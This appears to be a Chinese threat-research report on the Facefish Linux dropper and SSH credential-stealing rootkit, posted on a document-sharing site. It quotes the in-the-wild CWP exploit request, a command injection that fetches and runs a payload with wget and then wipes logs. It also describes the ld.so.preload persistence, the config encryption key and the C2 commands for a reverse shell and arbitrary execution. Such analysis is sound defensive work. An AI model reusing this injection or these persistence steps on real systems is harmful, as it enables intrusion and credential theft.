




版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領
文檔簡介
竊密者Facefish分析報告背景介紹2021年2月,我們捕獲了一個通過CWP的Nday漏洞傳播的未知ELF樣本,簡單分析后發(fā)現這是一個新botnet家族的樣本。它針對Linuxx64系統(tǒng),配置靈活,并且使用了一個基于Diffie–Hellman和Blowfish的私有加密協(xié)議。但因為通過合作機構(在中國區(qū)有較好網絡通信觀察視野)驗證后發(fā)現對應的C2通信命中為0,所以未再深入分析。2021年4月26號,Juniper發(fā)布了關于此樣本的分析報告,我們注意到報告中忽略了一些重要的技術細節(jié),所以決定將漏掉的細節(jié)分享出來。該家族的入口ELF樣本MD5=38fb322cc6d09a6ab85784ede56bc5a7是一個Dropper,它會釋放出一個Rootkit。因為Juniper并未為樣本定義家族名,鑒于Dropper在不同的時間點釋放的Rootkit有不同的MD5值,猶如川劇中的變臉,并且該家族使用了Blowfish加密算法,我們將它命名為Facefish。
Facefish概覽Facefish由Dropper和Rootkit2部分組成,主要功能由Rootkit模塊決定。Rootkit工作在Ring3層,利用LD_PRELOAD特性加載,通過Hookssh/sshd程序的相關函數以竊取用戶的登錄憑證,同時它還支持一些后門功能。因此可以將Facefish定性為,一款針對Linux平臺的竊密后門。Facefish的主要功能有上報設備信息竊取用戶憑證反彈Shell執(zhí)行任意命令基本流程如下圖所示:
傳播方式在野利用的漏洞如下所示POST
/admin/index.php?scripts=.%00./.%00./client/include/inc_index&service_start=;cd%20/usr/bin;%20/usr/bin/wget%206/76523y4gjhasd6/sshins;%20chmod%200777%20/usr/bin/sshins;%20ls%20-al%20/usr/bin/sshins;%20./sshins;%20cat%20/etc/ld.so.preload;%20rm%20-rf%20/usr/bin/sshins;%20sed%20-i%20'/sshins/d'%20/usr/local/cwpsrv/logs/access_log;%20history%20-c;&owner=root&override=1&api_key=%00%00%C2%90
HTTP/1.1
Host:
xxx.xx.xx.xx:2031
User-Agent:
python-requests/2.25.1
Accept-Encoding:
gzip,
deflate
Accept:
*/*
Connection:
keep-alive
Content-Length:
0將與Facefish相關部分轉碼后,得到以下執(zhí)行命令序列,可以看出主要功能為下載執(zhí)行第一階段的payload,然后清理痕跡。cd
/usr/bin;
/usr/bin/wget
6/76523y4gjhasd6/sshins;
chmod
0777
/usr/bin/sshins;
ls
-al
/usr/bin/sshins;
./sshins;
cat
/etc/ld.so.preload;
rm
-rf
/usr/bin/sshins;
sed
-i
'/sshins/d'
/usr/local/cwpsrv/logs/access_log;
history
-c
逆向分析簡單來說,Facefish的感染程序可以分成3個階段,Stage0:預備階段,通過漏洞傳播,在設備上植入DropperStage1:釋放階段,Dropper釋放出RootkitStage2:業(yè)務階段,Rootkit收集回傳敏感信息,等待執(zhí)行C2下發(fā)的指令下文將從Stage1到Stage2著手,分析Facefish的各個階段的技術細節(jié)。Stage1:Dropper分析Dropper的基體信息如下所示,主要功能為檢測運行環(huán)境,解密存有C2信息的Config,配置Rootkit,最后釋放并啟動Rootkit。MD5:38fb322cc6d09a6ab85784ede56bc5a7ELF64-bitLSBexecutable,x86-64,version1(GNU/Linux),staticallylinked,strippedPacker:UPX另處值得一提的是,Drooper在二進制層面,采用了一些tricks來對抗殺軟的查殺。Trick1:upxwithoverlay如下圖所示,將加密的Config數據作為overlay,填充到upx加殼后的樣本尾部。這種做法的目的有2個:對抗upx脫殼Config數據與樣本解耦,可以通過工具更新Config,無需再編譯源碼,方便在黑市流通Trick2:elfwithoutsections如下圖所示,脫殼后樣本中的section信息被抹除了這種做法的目的有2個:某些依賴section的信息進行分析的工具無法正常工作,抹除section在一定程度上加大了分析難度某些殺毒引擎依賴section信息生成特征的的檢測區(qū),抹除section在一定程度上實現了免殺Dropper主要功能Dropper運行時會輸出下圖中的信息:根據這個信息,我們將Dropper的功能分成了以下4個階段檢測運行環(huán)境解密Config配置Rootkit釋放并啟動Rootkit0x1:檢測運行環(huán)境首先讀取/bin/cat的前16個字節(jié),通過判斷第5個字節(jié)(EI_CLASS)的值來判斷當前系統(tǒng)的位數,目前Facefish只支持x64系統(tǒng)。然后檢查自身否在root權限下運行,最后嘗試從自身文件尾部讀入Config信息。其中任一環(huán)節(jié)失敗,Facefish都將放棄感染,直接退出。0x2:解密Config原始的Config信息長度為128字節(jié),采用Blowfish算法的CBC模式加密,以overlay的形式儲存在文件尾部。其中Blowfish的解密key&iv如下:key:builiv:0000000000000000值得一提的是在使用Blowfish時,其作者在編碼過程中,玩了一個小trick來“惡心”安全研究人員,以下圖代碼片段為例:第一眼看上去,會讓人以為Blowfish的密鑰為”build”。注意第3個參數為4,即密鑰的長度為4字節(jié),所以真實的密鑰為”buil”。以原始的Config為例,BD
E8
3F
94
57
A4
82
94
E3
B6
E9
9C
B7
91
BC
59
5B
B2
7E
74
2D
2E
2D
9B
94
F6
E5
3A
51
C7
D8
56
E4
EF
A8
81
AC
EB
A6
DF
8B
7E
DB
5F
25
53
62
E2
00
A1
69
BB
42
08
34
03
46
AF
A5
7B
B7
50
97
69
EB
B2
2E
78
68
13
FA
5B
41
37
B6
D0
FB
FA
DA
E1
A0
9E
6E
5B
5B
89
B7
64
E8
58
B1
79
2F
F5
0C
FF
71
64
1A
CB
BB
E9
10
1A
A6
AC
68
AF
4D
AD
67
D1
BA
A1
F3
E6
87
46
09
05
19
72
94
63
9F
50
05
B7解密后的Config如下所示,可以看到其中的c2:port信息(6:443)。各字段具體的含義如下:OFFSETLENGTHMEANING0x004magic0x0c4interval0x104offsetofc20x144port0x20(pointedby0x10)c2解密完成后,通過以下代碼片段對Config進行校驗,校驗方法比較簡單,即比較magic值是不是0xCAFEBABE,當校驗通過后,進入配置Rootkit階段。0x3:配置Rootkit首先以當前時間為種子隨機生成16個字節(jié)做為新的Blowfish的加密key,將上階段的解密得到的Config使用新的key重新加密。然后利用標志0xCAFEBABEDEADBEEF定位Dropper中的Rootkit的特定位置,寫入新的加密key以及重新加密后的Config信息。文件的變化如下所示:
寫入之前:寫入之后:在這個過程中因為加密key是隨機生成的,所以不同時間釋放的Rootkit的MD5值是不一樣的,我們推測,這種設計是用來對抗殺軟黑白HASH檢測。另外值得一提的是,Facefish專門對FreeBSD操作系統(tǒng)做了支持。實現方法比較簡單,如下圖所示,即通過判斷cat二進制中的EI_OSABI是否等于9,如果是則把Rootkit中的EI_OSABI值修改成9。0x4:釋放并啟動Rootkit將上階段配置好的的Rootkit寫到
/lib64/libs.so文件中,同時向/etc/ld.so.preload寫入以下內容實現Rootkit的預加載。
/lib64/libs.so通過以下命令重起ssh服務,讓Rootkit有機會加載到sshd程序中/etc/init.d/sshd
restart
/etc/rc.d/sshd
restart
service
ssh
restart
systemctl
restart
ssh
systemctl
restart
sshd.service實際效果如下所示:至此Dropper的任務完成,Rootkit開始工作。Stage2:Rootkit分析Facefish的Rootkit模塊libs.so工作在Ring3層,通過LD_PRELOAD特性加載,它基本信息如下所示:MD5:d6ece2d07aa6c0a9e752c65fbe4c4ac2ELF64-bitLSBsharedobject,x86-64,version1(SYSV),dynamicallylinked,stripped在IDA中能看到它導出了3個函數,根據preload機制,當rootkit被加載時,它們會替代libc的同名函數,實現hook。init_proc函數,它的主要功能是hookssh/sshd進程中的相關函數以竊取登錄憑證。
bind函數,它的主要功能是上報設備信息,等待執(zhí)行C2下發(fā)的指令。
start函數,它的主要功能是為網絡通信中的密鑰交換過程計算密鑰。.init_proc函數分析.init_proc函數首先會解密Config,取得C2,PORT等相關信息,然后判斷被注入的進程是否為SSH/SSHD,如果是則對處理憑證的相關函數進行HOOK,最終當ssh主動對處連接,或sshd被動收到外部連接時,Facefish在Hook函數的幫助下,竊取登錄憑著并發(fā)送給C2。0x1尋找SSH如果當前系統(tǒng)為FreeBSD則,通過dlopen函數獲取link_map結構的地址,利用link_map可以遍歷當前進程所加載的模塊,進而找到SSH相關模塊。如果當前系統(tǒng)不是FreeBSD,則通過.got.plt表的第2項,得到link_map的地址。得到SSH相關模塊后,接著判斷模塊是否為ssh/sshd,方法比較簡單,即驗證模塊中是否有以下字串。通過這一點,可知Facefish事實上只攻擊OpenSSH實現的client/server。1:usage:
ssh
2:OpenSSH_0x2HOOK函數首先,Facefish會查找hook的函數地址其中要hook的ssh函數如所示:要hook的sshd函數如下所示:如果沒有找到,則將函數名加上前綴Fssh_再找一次。如果還是沒有找到,則通過函數中的字串間接定位到函數。最后通過以下代碼片斷實現Hook。實際中HOOK前后的對比如下所示:0x3竊取登錄憑證Facefish在Hook后的函數幫助下,竊取登錄憑證,并上報給C2。上報的數據格式為%08x-%08x-%08x-%08x,%s,%s,%s,%s,%s,其中前32節(jié)節(jié)為加密的key,后面跟著賬號,遠程主機,密碼等信息。實際中上報的信息如下所示:bind函數分析一旦用戶通過ssh登錄,將會觸發(fā)bind函數接著執(zhí)行一系列后門行為,具體分析如下:如果后門初始化正常,首先會fork后門子進程并進入連接C2的指令循環(huán),父進程則通過syscall(0x68/0x31)調用真正的bind函數。0x1:主機行為判斷sshd父進程是否存在,如果父進程退出,則后門進程也退出。如果父進程存在開始收集主機信息,包括:CPU型號、Arch,內存大小、硬盤大小、ssh服務相關配置文件和憑證數據。CPU型號內存硬盤網絡設備SSH服務相關0x2:C2指令介紹Facefish使用的通信協(xié)議及加密算法比較復雜,其中0x2XX開頭的指令用來交換公鑰,我們在下一小節(jié)進行詳細分析。0x3XX開頭的指令是真正的C2功能指令。這里先對C2的功能指令做簡單說明。發(fā)0x305是否發(fā)送上線信息0x305,如果沒有則收集信息并上報。發(fā)0x300功能上報竊取的憑證信息發(fā)0x301收集uname信息,組包并發(fā)送0x301,等待進一步指令。收0x302接受指令0x302,反向shell。收0x310接受指令0x310,執(zhí)行任意的系統(tǒng)命令發(fā)0x311發(fā)指令0x311,返回系統(tǒng)命令的執(zhí)行結果收0x312接受指令0x312,重新收集并上報主機信息。0x3:通信協(xié)議分析Facefish的rootkit使用了一個自定義的加密協(xié)議進行C2通信,該協(xié)議使用DH(Diffie–Hellman)
算法進行密鑰協(xié)商,使用BlowFish對稱加密算法進行數據加密。具體運行時,單次C2會話可以分為兩個階段,第一階段對應密鑰協(xié)商,第二階段便是使用協(xié)商好的密鑰進行C2加密通信。Facefish的每次C2會話只收取并解密一條C2指令,然后便會結束。不難看出,因為使用了DH和Blowfish算法,僅從流量數據入手是無法獲取其C2通信內容的,而且這種一次一密的通信也不會留下用于精準識別的流量特征。一般來說使用DH協(xié)議框架通信最簡便的方法是使用OpenSSL庫,而Facefish的作者自己編碼(或者使用了某些開源項目)實現了整個通信過程,因為沒有引入第三方庫所以代碼體積非常精減。DH通信原理為了更好的理解Facefish的密鑰交換代碼,我們需要先簡單了解一下DH通信原理。這里不討論背后的數學原理,而是用一個簡單的例子直接套公式描述通信過程。step1.甲生成一個隨機數a=4,選擇一個素數p=23,和一個底數g=5,并計算出公鑰A:A=g^a%p=5^4%23=4,然后將p,g,A同時發(fā)送給乙。step2.乙收到上述信息后也生成一個隨機數b=3,使用同樣的公式算出公鑰B:B=g^b%p=5^3%23=10,然后將B發(fā)送給甲。同時乙計算出雙方共享的機密值用于生成后續(xù)的Blowfish密鑰:s=A^b%p=(g^a)^b%p=18。step3.甲收到B后也可以計算出共享機密值:s=B^a%p=(g^b)^a%p=18step4.甲乙雙方基于共享機密s生成blowfish密鑰,進行加密C2通信。實質上通過簡單推導可以看出甲和乙計算s的公式是同一個:在整個算法中有一個關鍵的數學函數求冪取模power(x,y)modz,當x,y都很大的時候直接求解比較困難,所以就用到了快速冪取模算法。前文提到的start函數正是快速冪取模binpow()中的關鍵代碼,協(xié)議分析發(fā)包和收包使用相同的數據結構。
struct
package{
struct
header{
WORD
payload_len;
//payload長度
WORD
cmd;
//指令編碼
DWORD
payload_crc;
//
payload
crc校驗值
}
;
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
- 4. 未經權益所有人同意不得將文件中的內容挪作商業(yè)或盈利用途。
- 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
- 6. 下載文件中如有侵權或不適當內容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 手部的解剖及相關知識
- 上海商學院《食品營養(yǎng)與產品開發(fā)》2023-2024學年第一學期期末試卷
- 華北理工大學輕工學院《社會分層與流動》2023-2024學年第二學期期末試卷
- 學生如何規(guī)范答題
- 教育家的故事
- 2025年二月份拼貼課件量子相干性色彩保持研究
- 保安主管培訓課件
- 浙江省醫(yī)療衛(wèi)生事業(yè)單位招聘-影像技術類歷年考試真題庫(含答案)
- 2024-2025學年下學期高一英語人教版同步經典題精練之閱讀理解
- 招生工作年度工作總結
- 7不甘屈辱 奮勇抗爭-圓明園的訴說(教學設計)-部編版道德與法治五年級下冊
- GB/T 20424-2025重有色金屬精礦產品中有害元素的限量規(guī)范
- 2024年黑龍江省水利投資集團招聘筆試真題
- 2025年蘭考三農職業(yè)學院高職單招職業(yè)適應性測試歷年(2019-2024年)真題考點試卷含答案解析
- 2025電動自行車集中充電設施第2部分:充換電服務信息交換
- 血管導管相關感染預防與控制指南課件
- TSG 23-2021 氣瓶安全技術規(guī)程 含2024年第1號修改單
- 華為P型標簽光纖標簽模板29041060改進版
- 李豐黃金K線理論(圖文版)
- 精品資料(2021-2022年收藏的)畢業(yè)設計水電站的水輪機設計
- 最新中文版ISO 9001-2015質量管理體系標準(精準完整整理版)
評論
0/150
提交評論